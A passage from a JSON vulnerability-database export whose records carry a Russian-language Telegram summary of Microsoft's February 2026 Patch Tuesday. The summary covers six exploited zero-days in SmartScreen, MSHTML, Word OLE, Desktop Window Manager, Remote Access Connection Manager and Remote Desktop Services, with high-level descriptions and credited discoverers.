\u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u043e\u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445. \u041e\u0434\u043d\u0430\u043a\u043e \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f \u043e\u0431\u0435\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u00ab\u043f\u0440\u043e\u0444\u0435\u0441\u0441\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0434\u0435\u043b\u0430\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u0435\u00bb.\n\n- CVE-2026-21533: EoP-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0430\u0445 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 Windows.\n\n\u041d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 Windows Remote Desktop \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e. \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f CrowdStrike.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c CrowdStrike, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f CVE-2026-21533 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u043a\u043b\u044e\u0447 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u043b\u0443\u0436\u0431\u044b, \u0437\u0430\u043c\u0435\u043d\u044f\u044f \u0435\u0433\u043e \u043a\u043b\u044e\u0447\u043e\u043c, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0433\u0440\u0443\u043f\u043f\u0443 \u0430\u0434\u043c\u0438\u043d\u043e\u0432.\n\nCrowdStrike \u043d\u0435 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u0443 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0441 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c, \u043d\u043e \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438  \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0443\u0441\u043a\u043e\u0440\u044f\u0442 \u0441\u0432\u043e\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0434\u0430\u0442\u044c \u0435\u0433\u043e \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f.\n\n\u041f\u043e\u043b\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0435\u044e \u0441\u0438\u0441\u0442\u0435\u043c - \u0437\u0434\u0435\u0441\u044c.", "creation_timestamp": "2026-02-11T11:40:52.000000Z"}, {"uuid": "3742f177-fc3b-4eb9-aa8c-d8a24003d5fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21519", "type": "seen", "source": "https://t.me/true_secator/7897", "content": "\u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u043e\u0433\u043e PatchTuesday \u0432 \u044d\u0442\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435 Microsoft \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 6 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0438 \u0442\u0440\u0435\u0445 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0445 0-day: CVE-2026-21510, CVE-2026-21514, CVE-2026-21513, CVE-2026-21519, CVE-2026-21533 \u0438 CVE-2026-21525.\n\n\u0412 \u043d\u043e\u0432\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043f\u044f\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0442\u0440\u0438 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 EoP, \u0430 \u0434\u0432\u0435 - \u0441 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438. \u0412 \u0446\u0435\u043b\u043e\u043c \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044f\u043c \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: 25 - EoP, 5 - \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, 12 - RCE, 6 - \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, 3 - DoS \u0438 7 - \u043f\u043e\u0434\u043c\u0435\u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, 3 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 Microsoft Edge, \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b Secure Boot,\u00a0\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0442 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0442 2011 \u0433\u043e\u0434\u0430, \u0441\u0440\u043e\u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0441\u0442\u0435\u043a\u0430\u0435\u0442 \u0432 \u0438\u044e\u043d\u0435 2026 \u0433\u043e\u0434\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows 10.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0443\u043b\u0435\u0439 \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u043a\u0443\u0447\u043d\u043e:\n\n- CVE-2026-21510: \u043e\u0431\u0445\u043e\u0434 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows SmartScreen \u0438 Windows Shell.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u0438\u043b\u0438 \u0444\u0430\u0439\u043b\u0430 \u044f\u0440\u043b\u044b\u043a\u0430. \u0412\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 Mark of the Web.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows SmartScreen \u0438 Windows Shell, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u0443\u044e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows Shell, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0435\u043d\u0442, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0438\u043b\u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f Microsoft MSTIC \u0438 MSRC, \u0433\u0440\u0443\u043f\u043f\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Office, Google \u0438 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u043c\u0443 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \n CVE-2026-21513 \u0438 CVE-2026-21514.\n\n- CVE-2026-21513: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Internet Explorer \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 HTML- \u0438\u043b\u0438 LNK-\u0444\u0430\u0439\u043b\u044b.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441\u043e \u0441\u0431\u043e\u0435\u043c \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 \u0437\u0430\u0449\u0438\u0442\u044b MSHTML Framework, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044f \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u043e\u0439\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0438. \u0414\u0430\u043d\u043d\u044b\u0435 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u043e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\n\n- CVE-2026-21514: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Microsoft Word, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043e\u0431\u043e\u0439\u0442\u0438 \u043c\u0435\u0440\u044b \u0437\u0430\u0449\u0438\u0442\u044b OLE.\n\n\u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b Office \u0438 \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u0435\u0433\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0435\u0433\u043e.\n\nMicrosoft \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432 \u043f\u0430\u043d\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 Office. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043d\u0435 \u0431\u044b\u043b\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u043e, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e CVE-2026-21510, CVE-2026-21513 \u0438 CVE-2026-21514 \u043c\u043e\u0433\u043b\u0438 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0434\u043d\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438.\n\n- CVE-2026-21519: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043e\u043a\u043e\u043d \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 Windows.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0439 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u041d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u0431\u044b\u043b\u0430 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u0430\u0442\u0430\u043a\u0430, \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f.\n\nMicrosoft \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043b\u0438\u0448\u044c \u0442\u043e, \u0447\u0442\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0446\u0435\u043d\u0442\u0440\u0430\u043c Microsoft MSTIC \u0438 MSRC.\n\n- CVE-2026-21525: DoS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 Windows.\n\n\u0420\u0430\u0437\u044b\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 Windows \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0435.\n\nMicrosoft \u043f\u0440\u0438\u043f\u0438\u0441\u0430\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 ACROS, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0435\u0439 \u0441 0patch.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u044b\u0441\u043a\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0432 \u0445\u043e\u0434\u0435 \u043f\u043e\u0438\u0441\u043a\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f CVE-2025-59230, \u043d\u043e \u043e\u043d \u043d\u0435 \u043e\u0441\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u044b, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u043e\u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445. \u041e\u0434\u043d\u0430\u043a\u043e \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f \u043e\u0431\u0435\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u00ab\u043f\u0440\u043e\u0444\u0435\u0441\u0441\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0434\u0435\u043b\u0430\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u0435\u00bb.\n\n- CVE-2026-21533: EoP-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0430\u0445 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 Windows.\n\n\u041d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 Windows Remote Desktop \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e. \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f CrowdStrike.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c CrowdStrike, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f CVE-2026-21533 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u043a\u043b\u044e\u0447 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u043b\u0443\u0436\u0431\u044b, \u0437\u0430\u043c\u0435\u043d\u044f\u044f \u0435\u0433\u043e \u043a\u043b\u044e\u0447\u043e\u043c, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0433\u0440\u0443\u043f\u043f\u0443 \u0430\u0434\u043c\u0438\u043d\u043e\u0432.\n\nCrowdStrike \u043d\u0435 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u0443 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0441 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c, \u043d\u043e \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438  \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0443\u0441\u043a\u043e\u0440\u044f\u0442 \u0441\u0432\u043e\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0434\u0430\u0442\u044c \u0435\u0433\u043e \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f.\n\n\u041f\u043e\u043b\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0435\u044e \u0441\u0438\u0441\u0442\u0435\u043c - \u0437\u0434\u0435\u0441\u044c.", "creation_timestamp": "2026-02-11T11:40:52.000000Z"}, {"uuid": 